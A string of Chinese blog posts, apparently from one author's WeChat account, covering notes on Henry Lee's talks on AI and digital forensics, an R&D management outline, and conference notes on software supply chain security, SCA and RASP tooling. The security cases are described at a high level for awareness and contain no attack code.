乔帮主在2005年斯坦福大学毕业典礼上的这番话，不仅鼓励世人保持信念，也预见了科技发展的轨迹。在数智时代，我们用大数据连接时空（数字孪生），用智能分析提炼信息（压缩降熵），但真正的挑战是用直觉信念（科技向善）来理解和完善现实秩序。 我关注警界数字取证（Digital Forensics）已有十年，回顾这段经历，我发现数字取证是一门集大成的科学，堪称数智转型的一个缩影。它融合了技术的极致创新、数据的广泛关联、社会协作的网络化、法律伦理的严谨规范，以及对人性的细致还原。 这个领域中，华人神探李昌钰作为灵魂人物，为其科普和发展做出了巨大贡献，那些追寻真相、伸张正义、充满悲悯的案例，超越了科技本身的影响力，直击人心，引导我们思考如何在数智大发现时把稳舵，不迷航。 本文速览         章节 精要 引言 数智时代需要用科技向善来理解和完善现实秩序，数字取证是数智转型的缩影。 念念不忘，必有回响 持续学习和实践是专业成长的关键。十年的坚持不仅带来了技能的提升，还让散乱的经验凝聚成完整的专业认知。 神探眼里的数智化 1 AI不仅是单一技术工具，而是连接各环节的核心纽带。李昌钰博士的前瞻性观点强调了AI在整合公共服务和社会资源生态中的重要作用。（附1） 2 鉴识取证正从"转移理论"向"联系理论"演变，反映了安全领域对更复杂、全面证据网络的需求。（附2） 悲悯之心，科技向善 取证从业者展现出独特的职业特质：悲悯之心（关注社会责任），知行合一（注重实用性创新），集思广益（善于团队协作和跨学科融合）。 1 念念不忘，必有回响

从网络靶场到有效性验证，从专用工具到AI挑战，从检材分析到众多公安部科技一等奖，让我理解了场景适配、底层研发、逆向工程、用户零侵入、高性能计算和数据高通量的重要性，以及要素全关联的价值。在践行深植于心的信念过程中，散乱的经验自然会凝聚成完整的拼图。近两年，我基于实践经历撰写的两篇小论文被全国取证会议录用，这让我体会到，成果的积累需要时间的沉淀。

   

2 神探眼里的数智化  

2019年我第一次面对面见到”神探“李昌钰博士，他从直观场景出发，说明AI能在初始通知、现场救援、资源规划、证据收集和身份鉴定等阶段发挥作用。李博士将AI定位为连接各个环节的核心纽带，而不仅仅是单一的技术工具，在每个场景中，AI都应将公共服务和社会资源生态完美结合，更好地服务社会。AI不仅能够处理和分析海量数据，还能在不同系统和数据源之间建立联系，为人提供全面的情景分析。

3 悲悯之心，科技向善  

悲悯之心，他们关注如何真正帮助普通人和弱势群体，从案件中来、到案件中去，凸显社会责任，科技向善；    

知行合一，他们从案例细节出发，"亮剑"极限场景，长期钻研底层技术，注重创新的实用性和可操作性，不空谈概念，不迷信科技；

这些特质不仅体现了取证领域的专业精神,也为科技工作者提供了宝贵的启示。正如《坛经》所言: 一切福田,不离方寸;从心而觅,感无不通。

附1：李昌钰博士FDF 2019演讲  

人工智能在重大事故调查中的应用  

AI Application in Major Incident Investigation  

- 1. 40年巨变:一个归国者眼中的中国蜕变

- 2. 人工智能，中国有先机

- 3. AI: 犯罪调查的全新视角

- 4. 智慧城市与重大事故:预防与应对的新思路

- 5. 事故调查的全过程

- 6. 事故预警与快速响应:AI成为守护者

- 7. 应急救援资源的智慧指挥官:AI的妙用

- 8. 物证管理与身份鉴定:AI成为无声助手

- 9. 从911到马航的教训:严谨鉴定的重要性

- 10. 破案利器:大数据、AI与人类智慧的完美结合

* 根据FDF 2019李昌钰博士演讲整理的笔记，并非其官方讲稿，标题均自拟以方便大家阅读。当时他年过八旬，20多个小时的旅程到广州南沙，直接开讲，声音洪亮，语速超快，风趣幽默，真乃神人也！

---

1. 40年巨变:一个归国者眼中的中国蜕变  

2. 人工智能，中国有先机  

3. AI: 犯罪调查的全新视角  

人工智能在犯罪调查中的新概念  

人工智能带来哪些犯罪调查的新概念？未来的新增报案要怎么样做？Recognition & collection of information最重要。

现在我们完全是靠个人的经验，将来AI逐步取代人力，能够到现场收集到很重要的信息，从现场、人证、物证、数据、资料库、公共信息、情报进行综合智能分析，找到嫌疑犯，并分析出他的动机、方式和机会。

综合智能分析的优势  

这些信息主要来自于数据库，这些数据价值很高，但从安全考虑，普通大众无法使用，只有警方可以使用。所以，智能的难点是如何做分析？如何将这些大数据库连接起来？在中国可以容易实现，但在美国（因为法律法规）的效率很低。

4. 智慧城市与重大事故:预防与应对的新思路  

自然灾害和人为事故的分类  

目前AI用在重大事故调查的很少，假如人工智能能够处理事故善后，那AI就非常重要。

现在每个人都在讨论着智慧城市，智慧城市到底是什么？其中一项应该就是预防重大事故，重大事故发生了以后怎么处置？第一类是自然灾害，突发事故不是人为的，我们没有办法有很准确的预测，好像地震、龙卷风这些。美国最近大火，在加州 18 场，到现在有 1, 000 多人找不到， 5 万多个房子烧，但是我们怎么处理？到现在这些人怎么处理和居住？

第二类就是人为的事故，包括纵火、交通事故、重大谋杀案件、恐怖活动、示威，交通飞机失事等。

人工智能在事故预防和处置中的潜力  

怎么完成事故调查处理的闭环？如果一个人工智能的系统能够在这么多场景下发挥作用，那我想对于人类社会就做了很大的贡献。

5. 事故调查的全过程  

6. 事故预警与快速响应:AI成为守护者  

事故指标的识别  

快速响应和通信系统的重要性  

7. 应急救援资源的智慧指挥官:AI的妙用  

快速响应和通信系统的重要性  

资源规划和社会资源调度  

8. 物证管理与身份鉴定:AI成为无声助手  

物证编号和安全保护  

多种鉴定方法和数据库的应用  

9. 从911到马航的教训:严谨鉴定的重要性  

911事件的教训  

马航失事调查的启示  

另一个案例，马航飞机失事，当时我们去协助他们 300 多人。通常我们看到这么多碎片就知道是高空爆炸，怎么样先给物证找齐，然后去还原，这些尸体有多少有指纹的？然后从他们的DNA或者鞋子都要做记录，都可以做分析。

10. 破案利器:大数据、AI与人类智慧的完美结合  

大数据与人工智能的结合  

群众的重要性  

附2：李昌钰博士ISC 2022演讲  

*在线视频 isc.n.cn

开启鉴识之门  

Applying forensic fundamentals to the collection of e-evidence  

- 互联网安全是世界性的

- 网络犯罪是一个很重要的课题

- 怎么调查？有什么注意事项？

- 要将传统的现场，跟电脑的现场结合起来

    - 现场调查的思维方法转变

    - 从转移理论发展到联系理论

- 新兴物证科学和网络安全结合

- Make the impossible possible

- who are we going to trust？

互联网安全是世界性的  

大家都知道互联网的安全不是一个地区或者一个国家的问题，是整个世界性的。据美国统计，全世界大概有100亿设备，这些每年都在增加，而这个安全牵涉到 Cyber crime，不止关于国家的安全，政府的资料的安全，工业的安全，还有个人的安全。

网络犯罪是一个很重要的课题  

所以我今天要讲的主要是关于怎样调查个人的犯罪，包括信用卡，包括 网络暴力、儿童 pornography 或者其他一系列的。很多人的个人资料被泄露了，在 2021 年，几个 billion 的资料被泄露,e-crime变成一个非常重要的问题。    

怎么调查？有什么注意事项？  

怎么调查？我们通常是先Analyze cyber incident 这个问题怎么来的？然后 follow 的 legal requirement，因为法律上的要求能不能去那提取这些资料？然后 secure the virtual crime scene。现在新的现场的定义已经包括网站也是一个新现场，怎么样去收集、保存、分析人证、物证、电子证据？然后Identify the suspect. Reconstruct 重建电脑的犯罪现场，这样我们将来才能学到以后更多的经验.

要将传统的现场，跟电脑的现场结合起来  

现场调查的思维方法转变  

从转移理论发展到联系理论  

【思】此图和FDF 2019稍有区别，先识别，有个系统全面性，不遗漏来源；再收集，可以避免浪费时间在不相关的信息上，或者制定最佳收集计划。

新兴物证科学和网络安全结合  

因为 21 世纪物证科学有很多新的进展，所以我们怎么样给物证科学跟网络安全结合起来？这是一个很大的挑战，因为这个 data collection、 intelligence analytics 变成越来越重要。这些不但可以保护网络安全，而且能够证明犯罪的事实。

Make the impossible possible  

who are we going to trust？  

======

期待同仁一起学习交流，携手同行！加微信好友，请备注：姓名-单位-负责领域。

阅读原文

跳转微信打开

从研发者的视角探索管理实践，注重现实案例而非抽象理论，谈笑间每一步都凝聚着对研发本质的深入思考，听众身临其境、感同身受、其乐融融。

破局1：选择武将来做文官  

负责人的跨界感受  

破局2：明知山有虎，偏向虎山行  

传统瀑布项目的转型：真正难点与高价值点  

反思1：我本将心向明月，奈何明月照沟渠  

千万次强调度量不是KPI    

度量的目标和意义  

度量的真谛：从指标陷阱到价值驱动  

反思2：上有政策，下有对策  

康威定律对虚拟组织和效能的挑战  

反思3：看着地图摆阵势，纸上谈兵  

照搬经典难落地，企业学习需因地制宜  

重塑1：大军未动，粮草先行  

效能提升是数字化转型的前置工作    

重塑2：磨刀不误砍柴工  

前期准备，优化协作标准，提升体验和效率  

重塑3：温故而鼎新  

“平台的平台”就是平台工程  

重塑4：一把钥匙开两把锁  

数字化的钥匙：全链路资产关联架构  

制品与需求关联  

制品图谱 - 引以为豪的创新实践  

阅读原文

跳转微信打开

从被动防御到主动管理,从单点工具到全面平台,从简单扫描到深度分析,软件供应链安全正在经历一场深刻的变革。

InfoQ近期组织的全球软件供应链发展报告解读直播,通过新鲜的案例和纯粹的技术讨论,展现了软件供应链安全领域的转变。

从被动防御到主动管理,从单点工具到全面平台,从简单扫描到深度分析，安全行业正在向更加主动、全面和适应性强的方向脚踏实地发展,同时也面临着新技术带来的诸多挑战。

金句摘抄

"安全永远在建模！"这句话突出了安全管理是一个持续过程。企业需要不断评估和调整安全策略。

"你不拥有它，你就没法保证它的安全",说明从传统的被动扫描向主动制品管理转变的重要性。企业正在建立内部公共仓库，以更好地管理软件供应链安全。

"目前市面上没有一款工具能解决所有问题，每个工具都有其特定的功能和局限性。"

"高级扫描套件，支持源代码扫描，基于上下文分析, 左移到IDE，形成从开源包组件隔离到安全可信发布的完整平台...…我们的用户非常的喜欢。"

“数据显示开源语言包呈现快速增长趋势，特别是docker hub、npm和golang”。这不仅反映了开发者的技术偏好、不同语言和平台的发展步伐。

*我是制品库、安全工具的深度用户，也常线下请教老师，回看整理笔记后，继续践行知识搬运工角色，分享学习笔记，大家共同学习、讨论和进步。以下内容根据会议笔记整理，错误疏漏难免，请以InfoQ直播回放内容为准，部分口头内容由LLM总结要点，有2个部分标注为LLM增补。  

1. 软件供应链安全管理策略与最佳实践

"安全永远在建模！"

"软件供应链安全是一个持续的过程"

- 平衡安全投入与业务发展，根据企业特点制定策略

突出了安全管理中持续的建模过程，从数据收集、模型构建、模型验证、模型应用再到模型更新，形成一个不断循环的过程。它强调了安全不是一个静态的概念，而是需要通过持续的建模来适应不断变化的安全环境和威胁格局。

中美政策

- 美国NIST制定通信产业供应链安全标准，推动SBOM概念

- 中国信通院推动软件供应链安全能力评估模型，央行对金融企业开源技术应用提出指导意见

未来发展趋势

"企业需综合考虑漏洞、开发者安全意识不足、license和运维风险，通过平台工具赋能团队。"

- 供应链攻击特点：低成本、高收益、影响广泛    

- 国际安全标准（如SLSA）可能引入国内,用于评估企业软件供应链管理水平

- 持续关注并适应日益严格的软件供应链安全要求

漏洞风险评估与管理

"74%的docker hub镜像漏洞实际上是不可被利用的漏洞。"

- 漏洞利用需要特定条件，并非所有漏洞都会被成功攻击

- 评估方法：专业工具扫描、分析CVE描述、结合实际使用情况判断

- 风险测试手段：组件扫描、软件成分分析、源代码扫描等

- 防御策略：了解攻击原理、有选择性地修复漏洞、使用专门工具检查

2024全球软件供应链发展报告

https://www.jfrogchina.com/software-supply-chain-state-of-union/

2. 软件供应链安全技术创新与应用

技术：二进制和镜像扫描

"目前市面上没有一款工具能解决所有问题，每个工具都有其特定的功能和局限性。"

扫描就是撞库！    

1. 扫描对象：主要针对二进制文件,如Docker镜像等。

2. 扫描过程:

   - 逐层解压镜像文件,生成文件树结构

   - 识别特定文件类型(如.jar、.war、.tar包等)

   - 对识别的文件进行扫描

3. 扫描原理:

   - 使用"撞库"方法,将文件的校验和(checksum)与已知漏洞库进行匹配

   - 如果匹配成功,则标记存在相应漏洞

4. 性能特点:

   - 扫描速度快,主要消耗CPU资源

   - 相比源码扫描,二进制扫描更快

5. 上下文分析:

   - 在单独的容器中进行

   - 包括反编译、分析类路径等步骤

   - 耗时相对较长

6. 效率:对于100MB左右的Docker镜像,可在1分钟内完成扫描

总的来说,这项技术通过快速的二进制扫描和匹配来检测软件中的已知漏洞,同时结合上下文分析提供更深入的安全评估。虽然不能解决所有问题,但在软件安全检测方面提供了高效的解决方案    

技术：隔离仓库管理第三方依赖

1. 创建了一个大型云数据库（Catalog），记录了互联网上所有开源软件的版本和漏洞信息。

2. 研发人员可以在不下载包的情况下，通过查询Catalog来了解特定版本是否存在漏洞。

3. 在外网和内网之间，提供了一个隔离区curation，可以阻止恶意包进入公司内网。

4. 允许用户通过配置策略来限制，如特定版本的软件包或Docker镜像的使用，如阻止下载旧版本的操作系统（例如Ubuntu 20.04以下版本或CentOS 7）。

5. 这种方法可以阻挡禁用的CVE包和许可证引入产品。

6. 这些功能有助于企业降低运维风险，并可能带来显著的研发成本收益。

技术：高级扫描套件：精准识别可利用漏洞    

1. “当前漏洞扫描工具存在大量误报，导致开发人员对漏洞警告麻木和无助”

2. "高级扫描套件，支持源代码扫描，基于上下文分析，确认漏洞是否可被利用，支持秘钥泄露检查，精准弹窗高级。"

3. "我们把安全扫描移到最左侧，就是在IDE的工具里面进行扫描，这个功能我们的用户非常的喜欢。"

4. "Docker Hub社区里面，100个最常见的CVE漏洞里面，有74%的漏洞实际上是不可被利用的。"

5. "对一个2,800人的团队来说，每年能节省80万美金。"

技术：构建软件依赖关系树

“实际上我们最终做的事情一定是要从解决某个问题开始！" （问题组件溯源、影响分析、召回），那怎么做这个溯源你又不想所有的用户都去通知一遍，对吧？，构建依赖关系树，让安全漏洞无处遁形，实现从组件到用户的全链条追溯。"

1. 企业需要从实际需求和痛点出发，解决软件供应链安全问题。

2. 以手机和汽车为例，镜像文件中的APK或ECU软件可能存在安全漏洞，需要有效管理。    

3. 构建镜像（手机镜像、非docker）依赖关系树，可以帮助企业追踪和管理软件供应链中的安全问题。

4. 依赖关系树能够在漏洞爆发时快速定位受影响的用户，实现精准溯源和通知。

5. 投入建立软件供应链追踪系统是值得的，能够帮助企业更好地应对未来可能出现的安全漏洞。

6. 平衡软件供应链安全和创新需要企业建立有效的管理机制，既保证安全性，又不影响创新进程。

{llm增补}构建依赖关系树的基本方法

1. 识别组件：

   - 对于手机，识别镜像文件中包含的所有APK。

   - 对于汽车，识别所有的ECU（电子控制单元）和相关软件。

2. 建立关系：

   - 分析每个APK或软件组件之间的依赖关系。

   - 确定哪些组件依赖于其他组件，形成一个层级结构。

3. 记录版本信息：

   - 为每个组件记录详细的版本信息，以便追踪特定版本的问题。

4. 链接到最终产品：

   - 将依赖关系树与最终产品（如特定型号的手机或汽车）关联起来。

5. 实现追溯机制：

   - 建立一个系统，能够从任何一个组件快速追溯到受影响的最终产品。    

6. 持续更新：

   - 随着软件更新或新版本发布，不断更新依赖关系树。

7. 集成安全检测：

   - 在依赖关系树中集成安全漏洞检测机制，以便及时发现和标记问题组件。

8. 建立通知系统：

   - 基于依赖关系树，建立一个能够精确定位受影响用户的通知系统。

9. 版本控制：

   - 实现版本控制机制，确保问题组件不会在未经修复的情况下流转到下一个阶段。

10. 数据分析：

    - 利用依赖关系树的数据进行分析，帮助优化软件供应链管理。

构建这样的依赖关系树需要专业的工具和系统支持，可能涉及到复杂的软件工程实践。企业可能需要开发专门的工具或使用现有的供应链管理解决方案来实现这一目标。

技术：从传统被动扫描到制品主动管理

1. "你不拥有它，你就没法保证它的安全" 【数据要素】

2. "你给我什么东西我就扫，那反过来说你没有给我的东西我就不扫" 【传统限制】

核心观点概述：    

1. 传统安全工具的局限性在于不管理制品，可能忽视隐藏风险。

2. 建议从存量制品管理开始建立安全基线，首先控制源头。

3. 建立公共仓库，设置准入门槛：

   - 存量包可直接放入

   - 新增包需要审批和扫描

4. 实施自动扫描门禁和人工审批机制：

   - 通过扫描的包可自动进入

   - 未通过扫描但需要使用的包需人工申请和安全评估

5. 建立基准仓库的准入机制后，可更好地管理版本溯源和漏洞更新。

6. 这种方法类似徽派建筑的码头墙，通过分层过滤和基线建设，将风险控制在小范围内，减少对整体业务运转的影响。

3. 软件供应链安全厂商的发展策略与市场趋势

"好的的解决方案实际上不仅是制品库，而是一个从开源包组件隔离到安全可信发布的完整平台。"

安全扫描工具不是软件供应链工具

从制品库到全方位软件供应链安全平台

1. 软件供应链管理的基础是制品库和远程仓库控制，用于统一管理所有依赖库。【google还包括源码库】

2. 目前市场上很少有定位为软件供应链平台的公司。

3. 传统安全扫描工具（如qqiiaaxx、Black Duck等）不具备软件版本管理能力，因此无法实现完整的软件供应链管理。    

4. 要实现软件供应链管理，首先需要具备软件管理能力，而制品库是这一能力的基础。

5. 统一管理软件供应链的能力，这是其区别于其他安全厂商的关键特点。

从包管理起家到软件供应链安全的领军者

杰蛙案例分析：

1. 制品库的核心技术优势在于二进制包管理，特别是供应链的包管理。    

2. 制品库起家，通过收购一家专门从事安全分析的公司，扩展了其在软件供应链安全方面的能力。

3. 明确定位于软件供应链安全和制品管理领域，这是其在市场上的专业方向。

4. 虽然公司也提供安全扫描服务，但这并非其核心竞争力，市场上已有许多成熟的扫描工具。

5. 发展路径是从包管理起家，逐步扩展到全面的软件供应链安全服务。

并购安全公司的核心逻辑

{llm增补}

1. 整合开发和安全:将安全技术整合到制品库平台,为开发和安全团队提供统一的解决方案。

2. 实现"液体软件"愿景:确保软件能够无缝且安全地从任何来源流向任何设备。

3. 全面的安全分析:提供上下文扫描、智能修复、嵌入式软件安全等能力。

4. 减少"噪音":通过智能推荐,帮助团队专注于最重要的安全问题,减少误报。

5. 扩展到设备安全:增强在嵌入式软件和设备安全方面的能力。

6. 零日漏洞检测:自动检测新的漏洞、恶意软件、后门等威胁。

4. 软件供应链安全威胁与典型案例分析

案例：核弹级Apache log4j漏洞    

2021年的Log4j漏洞确实对软件供应链安全产生了深远的影响。这个漏洞的重要性和持续影响主要体现在以下几个方面:

1. 广泛性：Log4j是一个被广泛使用的Java日志库，几乎存在于所有Java应用中。这意味着漏洞的影响范围极其广泛。

2. 严重性：该漏洞允许远程代码执行，被评为最高危险级别(CVSS 10.0)。攻击者可以轻易地利用它来接管系统。

3. 供应链复杂性：由于Log4j深度嵌入在许多软件和系统中，修复过程变得异常复杂。许多组织甚至不知道他们的系统中哪里使用了Log4j。

4. 安全意识提升：这个事件大大提高了人们对软件供应链安全的认识，促使更多组织开始关注和管理其软件依赖。

5. 政策影响：各国政府和监管机构开始更加重视软件供应链安全，出台了相关政策和指南。

至于为什么三年后这个问题仍未完全解决，主要有以下原因：

1. 遗留系统：许多老旧系统难以更新或者更新成本很高。

2. 依赖关系复杂：某些系统可能依赖于使用旧版Log4j的其他组件。

3. 认知gap：一些组织可能仍然没有意识到他们的系统中存在这个问题。

4. 资源限制：完全修复需要大量的时间和资源投入。

5. 新的挑战：随着时间推移，新的漏洞和威胁不断出现，分散了注意力和资源。    

这个事件凸显了软件供应链安全的重要性和复杂性，也表明我们在这方面还有很长的路要走。要解决这类问题，需要技术、政策和组织文化等多方面的持续努力。

数据：DockerHub恶意镜像比例30%

1. Docker Hub中存在大量恶意镜像：在约1000-1500万个Docker镜像中，发现了约300万个恶意镜像。

2. Jfrog与Docker Hub合作：Docker Hub开放了镜像库遍历接口，允许Jfrog进行全面扫描。

3. Jfrog的扫描能力优势：Jfrog的扫描工具能力优于Docker Hub自身的工具。

4. 安全问题的处理：在公开报告之前，Docker公司已经清除了这300万个恶意镜像。

5. 用户认知与实际情况的差异：传统观念认为Docker Hub主要存储官方仓库，但实际情况显示存在大量潜在安全风险。

6. 合作共赢：这次合作既帮助Docker Hub提高了安全性，也让Jfrog获得了宝贵的研究数据。

这个发现颠覆了开发者对Docker Hub的传统认知，突显了容器镜像安全的重要性，以及行业合作在提高整体安全性方面的价值。

案例：利用搜索引擎欺骗用户下载恶意Docker    

1. 攻击者利用谷歌搜索引擎的SEO机制,将恶意Docker镜像排在搜索结果前列。

2. 用户在搜索Android APK模拟器时,可能误点击看似合法的Docker Hub链接。

3. 实际下载的是伪装成正常应用的恶意软件包。

4. 这种攻击方式难以被普通开发者察觉,容易造成无意识的安全漏洞。

abaflaper/truck-simulator-apk-para攻击原理解释：

1. 攻击者创建一个恶意Docker镜像,并使用包含常见搜索词的名称(如"simulator APK")。

2. 将该镜像上传到Docker Hub,使其能被搜索引擎收录。

3. 利用SEO技术提高该Docker Hub页面在相关搜索结果中的排名。

4. 当用户搜索Android APK模拟器时,这个恶意镜像的链接可能出现在搜索结果的靠前位置。

5. 用户误以为这是合法的APK下载链接,点击后实际下载的是伪装的恶意软件包。

6. 恶意软件包被下载到用户本地设备后,可能对系统造成安全威胁。

这种攻击利用了用户对搜索结果的信任,以及对Docker Hub等平台认知的不足,从而实现了恶意软件的分发。     

案例：电子书钓鱼陷阱Docker

naiflicengroup1985/read-download-pdf-citadel-of： 

1. 诈骗者利用 DockerHub 平台创建伪装成电子书的项目，实际上并不包含真正的 Docker 镜像。

2. 这些项目通过 SEO 优化在搜索结果中出现，诱导用户点击链接。

3. 点击后会弹出信用卡付费窗口，诱导用户付款，但实际上不会提供任何电子书内容。

4. 这种手法是互联网钓鱼诈骗的新变种，利用了人们对电子书下载的需求。

5. 文章提醒读者警惕这类新型诈骗手法，避免落入陷阱。

6. 作者对诈骗者的"创新"表示无奈，同时指出这些问题项目已被修复。

案例：开源代码仓库中的敏感信息泄露问题

1. 开源软件平台如GitHub、GitLab和DocHub等存在安全隐患。

2. 最常见的泄露信息是AWS访问token，可能由于开发者在上传代码时未删除包含敏感信息的脚本造成。

3. 其他常见泄露的敏感信息包括Telegram、GitHub和OpenAI的token。

4. 这种无意识的代码泄露成为许多企业面临的重要安全挑战。    

5. 开发者需要提高安全意识，在上传代码时注意检查和清理敏感信息。

案例：AI模型Hugging Face暗藏攻击

"所有的问题能够在修复以及包括的成本最低的还是在开发阶段，而不是在最终的这个运行阶段。"

1. AI和机器学习在安全领域应用广泛，但也带来新的安全隐患。

2. 大语言模型的部署和使用可能存在多方面风险：

   - 第三方执行工具可能存在CVE问题

   - 模型参数可能被篡改

   - Docker镜像形式的部署增加了不确定性

3. AI模型本身可能存在安全风险，如恶意代码可能被嵌入模型中。

4. Hugging Face案例警示：

   - 在Hugging Face上发现名为"GPT-2-light"的恶意模型镜像

   - 该模型被下载并在本地执行时，会调用计算器，潜在地攻破本地机器

   - 证明恶意代码可以被嵌入到模型中，造成安全威胁

5. 从官方仓库下载的包并不一定都是安全可用的，需要提高安全防范意识。

6. 在生产环境中部署AI模型需要格外谨慎，因为涉及计算资源和私有数据。

7. 建议在开发阶段就做好安全防范，这比在运行阶段修复问题的成本更低。

8. 需要开发相应工具来及早发现和防范AI应用中的安全问题。     

数据：安全漏洞修复需要投入25%的事件

1. 企业安全工具使用情况：30%的企业使用10种以上的安全审核工具，数量之多令人惊讶。

2. 漏洞修复时间投入：25%的团队研发时间用于修复漏洞，60%的团队每月花费4天（约20%工作时间）处理应用程序漏洞。

3. 国内外企业对比：

   - 国外企业对安全修复的重视程度高于国内企业。

   - 国外企业多使用持续提供安全修复的企业版操作系统。

   - 国内部分企业仍在使用老旧版本系统（如CentOS 7）。

4. 国内行业差异：金融、制造业、智能制造和高科技企业对安全修复较为重视，其他行业相对不那么紧迫。

5. 漏洞修复的复杂性：涉及版本替换、重新打包、测试、上线，以及影响范围定位等多个环节，特别是生产环境中的漏洞修复难度更大。

6. 未来方向：研究如何防止高危漏洞版本进入生产环境，这是供应链管理需要解决的核心问题。

数据：开源语言包增长趋势

1. 软件供应链安全意识提升：

   - 89%的团队使用SLSA框架评估软件供应链成熟度

   - 92%的团队检测恶意开源软件

   - 42%的开发者在引入开源软件时进行扫描

2. 开源社区语言包增长趋势：    

   - Docker Hub和npm（Node.js）在2023年异常活跃

   - Golang的增量包数量超过Maven，显示出较高的活跃度

   - 趋势表明开发者越来越倾向于使用Go和Python，而非Java（Maven）

3. 技术栈选择建议：

   - 基于语言包增长趋势，建议在选择技术栈时考虑Go和Python等活跃度高的语言

阅读原文

跳转微信打开

今天无论是甲方还是乙方的网安从业者，都面临着一个重要的选择。

“ 你是想卖一辈子糖水,还是想跟我一起去改变世界? ”

~乔布斯，1983

“ 你是想当个网络安全‘装机工’，还是想从源头重塑安全体系？”

~网安同仁，就现在

前几天看了安在直播的软件供应链安全，SCA可堪重用？三位嘉宾眼界明亮，主持人颇有老罗风范，专业性和趣味性都很强。我做了点笔记，大家一起学习进步。

我的感觉是，目前无论是甲方还是乙方的网安从业者，都面临着一个重要的选择：你是想当个网络安全“装机工”，还是想从源头重塑安全体系？——是继续停留在表面的防护，还是深入到体系的重塑？

主持人启发我们反思工作惯性，而嘉宾的观点让我们隐约窥见了在软件源头重塑安全体系的门径。

能力不是可以轻易购买或伪装的商品，而是通过持续学习、刻苦锻炼和实践应用而逐步积累的宝贵资产。让我们以专业、创新和坚韧的精神，挺直脊梁，一起学习进步，共迎挑战。

金句摘抄

1. 网络安全产品市场概况:

"甲方安全管理人员的工作，可以比喻为以前的电脑装机工作，现在则是在组织中'拼装'安全产品体系"

2. 供应链安全的重要性与挑战:

"科技战背景下面，我们要实现软件自主化。虽然软件代码是可以自己编的，但是编程过程当中要用到很多开源的组件，组件的安全风险变成一个新的挑战"

3. 软件组件分析(SCA)技术:    

"源码、二进制、运行时SCA共同构成软件供应链开源治理的不同的手段，或者是一个技术路径，需要联动"

4. 供应链安全工具的发展与需求:

"SCA只能满足最低的一个管控要求，单个工具的话，因为每一种安全能力都有自己的强项和劣势，所以我们还是推荐各个工具的综合利用才能发挥最大的作用。"

5. 甲方观点看SCA发展:

"网络安全正在发生重大变化,从早期的'拳套'(可有可无)到'保镖'(阻碍业务),再到未来的'免疫力'(与业务协同)。"

6. 安全厂商视角的SCA发展:

"AI技术带来的变化: 生成式AI可能被用于发现漏洞、执行攻击、制作恶意软件变种等,对传统安全防御体系构成挑战。"

7. 安全产品采购与实施策略:

"前期准备工作要充分,包括漏洞库设计、资产梳理等,这样可以提高后期运营的精准性。"

*以下内容根据会议笔记整理，直播互动环节多，话题跳跃性强，我按照从宏观到微观、从问题到解决方案、从现状到未来趋势重新组织了直播的主题，错误疏漏难免，请以直播视频内容为准，部分口头内容由LLM总结要点，运行时安全有2个部分标注为LLM增补。   

- 1 网络安全产品市场概况

    - 1.1 中国网络安全产品用户调查报告

    - 1.2 安全产品采购的挑战和策略

- 2 供应链安全的重要性与挑战

    - 2.1 科技战凸显供应链安全重要性

    - 2.2 开源组件风险及管理

        - 软件资产的位置

        - 供应链防火墙的思路

    - 2.3 供应链安全的核心诉求

        - 供应链风险治理就是优先级建议

        - 代码漏洞如何降噪

- 3 软件组件分析(SCA)技术深度解析

    - 3.1 SCA技术概述及其局限性分析

        - SCA是入门工具

        - 开源SCA

    - 3.2 源码、二进制、运行时SCA比较

    - 3.3 SCA与代码审计的区别与协同

- 4 运行时应用自我保护RASP技术

    - 4.1 运行时安全原理

        - 解释型语言    

        - 编译型语言

    - 4.2 有快速整改能力的RASP方案

    - 4.3 RASP案例剖析（以Log4j为例）

    - 4.4 RASP实施策略

    - 4.5 RASP是安全平行切面的一个应用

- 5 供应链安全工具的发展与需求

    - 5.1 核心诉求

    - 5.2 用户体验

    - 5.3 业务影响和平衡

- 6 未来趋势和展望

    - 6.1 甲方观点看安全产品演进

        - "拳套"→"保镖"→"免疫力"

        - 可有可无→阻碍业务→与业务协同)

    - 6.2 安全厂商视角的SCA发展

    - 6.3 其他

1 网络安全产品市场概况

1.1 中国网络安全产品用户调查报告    

安全从业人员，特别是甲方的高级管理人员，应该仔细研究这张图表。安全管理人员的工作，可以比喻为以前的电脑装机工作，现在则是在组织中"拼装"安全产品体系。

【思】拼装能带来什么？带不来安全产业的高质量发展；未来的形态是什么？是厂商群雄争霸？是厂商集中到寡头，还是甲方成长后抛弃一众乙方？

{张威线下解答} 安全产业随着业务变化而变化，业务类型越多，安全产品越杂，未来安全会分化成一个个大板块，比如安全司法，数据交易保护，安全保险等领域。

1.2 SCA的发展概述

SCA技术经历了从手动到自动化,从单一工具到集成解决方案的发展过程,逐渐成为软件开发安全不可或缺的组成部分。

1.3 SCA产品采购的挑战和策略

“安全产品采购的坑”

1. 关注产品的高效性和快速响应能力,包括快速发现风险和快速应急处置。

2. 注意误报率,这与漏洞库的全面性和准确性,以及企业自身资产梳理的准确性有关。

3. 需要将各层级资产(网络、组织、业务等)关联起来,才能精准定位风险并高效处置。

4. 关注漏洞库的更新模式是否契合企业需求,是否需要定制。

5. 对于互联网出口管控严格的企业,需考虑如何高效同步云端特征库到本地。

6. 如果与云端打通,要注意保护自身业务数据安全,避免引入新的安全风险。

7. 前期准备工作要充分,包括漏洞库设计、资产梳理等,这样可以提高后期运营的精准性。

8. 部署后还需要关注推动整改等后续工作。这是开发干的事，和安全分析无关。

总的来说,采购前要充分考虑产品的适用性、安全性和可持续运营能力,做好前期准备工作很重要。

2 供应链安全的重要性与挑战

2.1 科技战凸显供应链安全重要性

在科技战的背景下，实现软件自主化成为重要目标。尽管我们能够自主编写软件代码，但在开发过程中仍然依赖大量开源组件。这些开源组件本身存在潜在的安全风险。目前，我们自主开发的许多产品，特别是信息技术创新（信创）领域的产品，仍然广泛使用开源组件。因此，这些组件的安全风险反而成为了一个新的挑战。同时，开源组件的下载和使用次数持续快速增长，已经成为软件开发的主流支撑。

2.2 开源组件风险及管理

软件资产的位置

这些软件存储位置包含了企业的代码仓库、制品仓库、镜像仓库，也怎样去做软件资产的梳理？

【思】还应包括运行环境，配置数据，可观测数据，后续嘉宾都提到了。

供应链防火墙的思路

供应链防火墙的思路旨在通过在企业内部建立一个虚拟的安全检查点，来管控和监督所有进出企业内网的软件组件，从而提高软件供应链的整体安全性。

2.3 供应链安全的核心诉求

供应链风险治理就是优先级建议

【思】上述提法很到位，治理本质上是一个过滤复杂性的问题。    

1. 本质问题：

   - 过滤复杂性，识别真正需要关注的风险

 2. 优先考虑因素：

   - 是否有修复方案

   - 漏洞是否可利用、可达

   - 是否有补丁、缓解配置或热补丁

   - 其他工具的交叉检测结果

 3. 基本信息分析：

